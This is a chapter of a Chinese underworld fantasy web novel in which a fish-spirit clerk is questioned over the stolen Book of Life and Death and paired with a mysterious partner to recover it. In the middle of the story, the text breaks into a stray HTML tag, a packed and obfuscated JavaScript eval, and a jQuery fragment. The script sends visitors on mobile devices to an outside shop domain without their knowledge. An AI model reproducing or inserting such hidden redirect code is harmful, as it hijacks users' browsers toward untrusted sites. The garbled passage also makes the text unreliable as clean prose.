在冥府当差最好的一点就是不用早起,可以精心挑选早饭吃什么。
烧饼摊热气哄哄,年小鱼算了算日子,终究还是收敛着馋意只买了三个白面烧饼。
空荡的街道上,妖鬼们三三两两凑在一起嘀咕些什么,隐隐约约的,听不真切。
或许是哪个倒霉鬼投错了胎,又或许是哪个鬼差吃回扣被抓了,冥府的日子翻来覆去也就这么点新鲜事。
等待的间隙,凑巧有一伙鬼差入座了摊外的小木桌。
年小鱼悄无声息地竖起了耳朵。
“……判官……抓了!”
全都是气音,听得直让人心痒。
她踮起脚,状似查看烧饼是否烤好,不小心往旁边挪了一步。
“你不知道吗?生死簿丢了!“
“啊?”
她愣住,差点没控制好表情。
隔着饼炉铁板,店家耳聪目明地看了她一眼,而后娴熟地兜起烧饼,递到她呆滞的面前。
年小鱼回神,接过,隔着油纸被烫的五指弯曲,连忙抬起另一只手左右腾换。
边换边转身,临走前又下意识看了那群鬼差一眼。
对上视线,她马上收回,举起饼自然地啃下一口。
舌头被烫的发麻,背影依然潇洒自如。
在轮回司当差的五年中,每天的工作就是校对鬼魂名单、分发孟婆汤。俸禄不高,但稳定,既不用与同僚交际,也不用看上司的脸色。
对她来说,有东西吃,有安全的地方可以睡觉,这已经是顶好的日子了。
她很珍惜这份工作,一点意外也不想碰。
偏偏怕什么来什么。
“小鱼,你听说了吗?生死簿不见了!”隔壁工位的狐狸姐姐凑过来朝她挤眉弄眼地八卦着。
年小鱼心里一抖:“不知道呀,真的不见啦?”
“当然,昨天当差的小鬼们都已经被关押在牢里了!估计等会就要叫我们轮回司的去问话了。”
狐狸姐姐一副看热闹不嫌事大的表情。
不过也是,终日沉闷的冥府哪怕有一点事不关己的意外也值得差吏们兴奋个几天了。
年小鱼不发一言,啃咬着手中晾了一路的冷烧饼。
还未等她吃完,牛头马面就来了,但却不是叫所有妖鬼去问话,只独独压遣走了年小鱼。
被带去判官殿的路上,年小鱼心乱如麻,脑子却转得飞快。
要说近期发生过什么异事,唯有昨晚撞到的黑衣男子了。
本是悠闲的饭后散步时间,谁承想突如其来撞到了一个被黑斗篷裹满全身的男人。
那男人身上有妖气,也有极强的神力场。她当时就觉得不对劲,但也根本不敢声张,谁能想到他居然敢偷走生死簿呢?
不对,现在还不能确定是否是他呢。
是他也好,不是他也罢,年小鱼不能接受因为生死簿被盗而被囚禁审问。
她不会说出昨晚发生了什么。
她不能重蹈覆辙。
判官大人遥遥坐在远处的高台之上。
殿门一关,冥界长年不散的丝丝幽鸣声被完全隔绝,殿内静得只剩冷气往骨头缝里钻。
年小鱼不自觉地绷直了背。
“你叫年小鱼?”判官身旁的差吏轻蔑地问她。
“是的。”年小鱼温顺地弯腰低头,脸上却十分镇定。
“你可听说生死簿被偷走一事?”
年小鱼面露惊讶,带着些许恐惧:“在街口有听到一点议论声。”
差吏皱了皱眉,看了一眼面无表情的判官,又问:“你昨日在西府桥头停留约一刻钟,做了什么?”
年小鱼的心脏"咯噔"一下飞上了嗓子口,差点没缓过气来。
这些大人物怎么会知道她的行踪?
她飞快地回想了一遍。只有上到冥王才能追溯行踪,执法神器的丢失不可能那么快惊动到上层出手。
除非……有人一直在看着她。
她被人盯上了。
可她在冥界五年,从没惹过事,本本分分做着一如既往的工作,谁会盯上她呢?
回想起昨晚那身黑斗篷,她不禁后背发凉。
年小鱼将腰弯得更低了,掩下了眼里的精光,控制着声音颤抖起来。
“我,我是一只鱼精,需要用水来进行修炼,但是我很穷,买不到干净的水,只能去用冥河里的水。”
差吏皱眉,显然没料到这个答案。
年小鱼低着头,控制着不让嘴角上扬。
她的确穷,也的确可以用冥河的水修炼,他们戳穿不了,除非他们把冥王喊来。
判官沉默数息,终于开口,声音像是被砂砾挤压而出:“生死簿被一只黑鬼偷到了人间。上面的大人指派你前去追回。”
年小鱼猛地抬头,惊讶毫无掩饰。
派她去?
她一个轮回司底层小妖,凭什么?
她的脑中闪过无数念头,最终只低下头,恭恭敬敬地说:“年小鱼遵命。“
顿了顿,她又补了一句:“但我妖力微弱,能否派些人手帮我?“
判官即刻道:“白树已在偏殿等你了。“
似乎早已预料到了这一情形。
年小鱼心里一动。
白树……是白无常家族的人。但她记得现在当职的黑白无常都是“影“字辈,这个白树只有一个单名,很是奇怪。
偏殿内,挂着蛛丝的木头书架整齐排列着,因着近期的节俭规范,殿内只点了两只聊胜于无的烛台。
昏暗的澄黄色烛光下,一个白衣男子背对着敞开的大门,站于一副山水壁画前。
黑长的辫子用一根白色发带高高束起,背影挺直得像一棵墨竹。
年小鱼勾起半边嘴角,收了些许灵气,悄无声息地走了过去。
待站定,她将双手负在身后,下巴微抬,先声夺人道:“你就是白树?“
她并不打算给这个很可能是监督者的人好脸色看。
一来事情蹊跷,她越是畏缩越惹怀疑;二来妖善被妖欺,她得先把态度摆出来。
这场追查,她必定要掌握上风。
白树似是愣了一下,脑袋偏了偏,而后转过身来,毫无偏差地对上了年小鱼的双眼。
清俊的容貌因上弯的薄唇而显得轻佻,但那眼睛却又因笑意而更加闪亮醒目,显得十分清明。
年小鱼打量着,背于身后的手紧了紧。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723025|208758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
这人……看起来不好对付啊。
还未开口,她便已琢磨起应付他的招式。
她的审视明晃晃,白树笑容不改,夸赞道:“你似乎很擅长隐藏气息呢,倒不像是普通鱼妖。”
面对他这似乎意有所指的话,年小鱼哼笑一声,“少瞧不起鱼妖了,像我这样的多了去了。”
说完,她长袖一甩,朝着书架边的椅子大喇喇地坐下,抱胸偏头,翘着二郎腿,活像人间地痞流氓。
“不想跟你废话,直接明牌吧,我不知道为什么派我去追回生死簿,只听判官大人说……被一只黑鬼偷去人间了。你有什么情报,赶紧说。”
白树笑了一声。
这是想给他下马威?
他笑意盈盈,在其对面翩然坐下,慢悠悠撑起下巴,含笑吐出了一句让她头皮发麻的话。
“失踪的那本生死簿上,写了伏羲后裔的名字。”
年小鱼不动声色,手却忍不住地抖动了一下。
生死簿只能记录凡人生死,神族后裔下凡渡劫都不会被写进去。
伏羲后裔的名字出现在生死簿上,意味着——
“有人……”她嗓子干涩,突然卡壳
"有人要他死。"白树替她说完了后半句。
她垂下目光,心跳如鼓。
伏厉吗?
她记得这个名字。
模糊的像雾气的记忆里,始终有那么两个名字,被欢喜的声音呼喊,回响在脑海中,提醒着她,有那么一段记忆,被她忘了,有那么两个人,也被她忘了。
白树默默盯着她的表情。
“你认识伏羲后裔?”
清越的声音将年小鱼的思绪拽回现实,她才发现白树正紧盯着自己,眸光里潜藏着观察与试探。
火从心头起。她微微地咽了下口水,调整了一下坐姿,调动出自己最为轻蔑的嗓音。
嘴角弯弯地说:“关你屁事。”
他又笑了,笑得肩膀微颤,笑得年小鱼想给他一拳。
笑完,他目光灼灼,眼里的戏弄更加不加掩饰了,“我听说,伏厉是为了找什么东西而偷偷下凡的。”
年小鱼咬紧牙关,咋舌了一声。
这家伙分明是知道了什么,也不直说,就用来钓她玩。
真欠。
年小鱼气得喘了喘,“要不我两打一架吧,何必这样试探我?”
白树直起身来,脸色的笑意更加浓重了,雪白的脸、漆黑的瞳,隐隐闪着诡异的光。
昨天晚上,家中长辈把他从仙界急召回来,用着从未见过的严肃姿态告知他此事,起初觉得好笑至极,为了不引发更多麻烦,他费好大功夫才忍住没笑出声。
得知事情全貌后,他有些兴奋,连那群老头子故作庄重的脸都看得顺眼了不少。
他望着面前被提及的白衣少女,视线落在了那双清澈却隐含忌惮的杏仁眼上。
这只被女娲后裔送进冥府的小鱼精……果然有所隐瞒。
隐瞒本身并不值得探究,谁没点秘密呢,但是一想到这件事牵扯到六界上层不为人知的隐秘,他就忍不住抽丝剥茧,想要把那些大人物高高在上的面具都摘下来。
这多好玩啊。